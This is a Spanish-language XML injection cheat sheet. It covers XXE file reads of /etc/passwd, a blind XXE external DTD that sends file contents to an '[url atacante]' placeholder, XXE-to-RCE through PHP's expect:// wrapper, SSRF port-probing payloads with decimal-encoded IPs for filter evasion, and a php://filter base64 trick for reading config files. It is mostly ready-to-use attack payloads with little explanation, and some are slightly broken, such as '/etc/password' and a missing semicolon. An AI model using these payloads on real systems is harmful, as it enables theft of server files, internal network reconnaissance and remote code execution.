XML Injection Cheat Sheet
XML Injection
Consulta normal
/example.php?xml=<test>hacker</test>
Consulta vulnerada
/example.php?xml=<!DOCTYPE foo [<!ENTITY xmli "testing">]><test>&xmli;</test>
IMPORTANTE encodear los carácteres de la consulta
XML eXternal Entities - XXE
Es posible indicarle al parser XML un archivo externo para poder leerlo.
<!ENTITY name SYSTEM "URI">
Ejemplo
<!DOCTYPE message [
...
<!ENTITY xxefile SYSTEM "file:///etc/password">
]>
<message>
<body>&xxefile;</body>
</message>
Petición
../example.php?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>
Blind XXE Injection
En este caso es algo más complejo ya que el sistema tiene que tener acceso o visibilidad con el sistema del atacante.
La base de está vulnerabilidad está en la posibilidad de realizar peticiones por DTDs externos. Una manera simple de realizar una petición sería la siguiente:
exfill.dtd
<!ENTITY % file SYSTEM []"file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://[url atacante]/?x=%file;'>">
%eval;
%exfil;
Petición
../example1.php?xml=<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://[URL atacante]/exfil.dtd"> %xxe;]><test>hola</test>
XXE to RCE - Remote Code Execution
Para poder hacer esto la aplicación tiene que tener habilitado el módulo ‘expect’ de PHP.
/example.php?xml=<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "expect://PWD">]>
<test>&xxe</test>
Adicionalmente se podría lograr con otro métodos, como por ejemplo el uso de la clase de Java XMLDecoder en el lado del servidor.
XXE + SSRF
Server-side Request Forgery
Esta vulnerabilidad se da cuando la máquina vulnerada puede hacer peticiones a otras máquinas internas de la organización, mostrando de forma total o parcial el recurso en la web.
También permite mapear servicios existentes en la red del sistema.
Como explotar
Una vez se ha identificado una inclusión de ficheros dentro de una aplicación web se puede intentar utilizar esta para acceder a recursos internos de la organización.
Ejemplo vulnerable
vulnerable.com/index.php?url=index.php
Payloads
- http://[..]:80/
- http://[..]:25/ SMTP
- http://[..]:22/ SSH
- http://[..]:3128/ SQUID
- http://2130706433/ = http://127.0.0.1
- http://3232235521/ = http://192.168.0.1
Evasión de filtros
Parameter Entitites + CDATA + DTD
Uso de PHP + Base64
Si convertimos el contenido de un archivo a base64 podemos imprimir carácteres especiales que no son imprimibles mediantes XML.
php://filter/read=**convert.base64-encode**/resource=/path/to/config.php
Recursos externos
Ampliación general sobre la explotación de XXE:
PayloadsAllTheThings/XXE Injection at master · swisskyrepo/PayloadsAllTheThings
Ampliación general sobre la explotación de SSRF:
Tipos de inyecciones XXE:
Lista de payloads para inyecciones XXE (XML External Entity)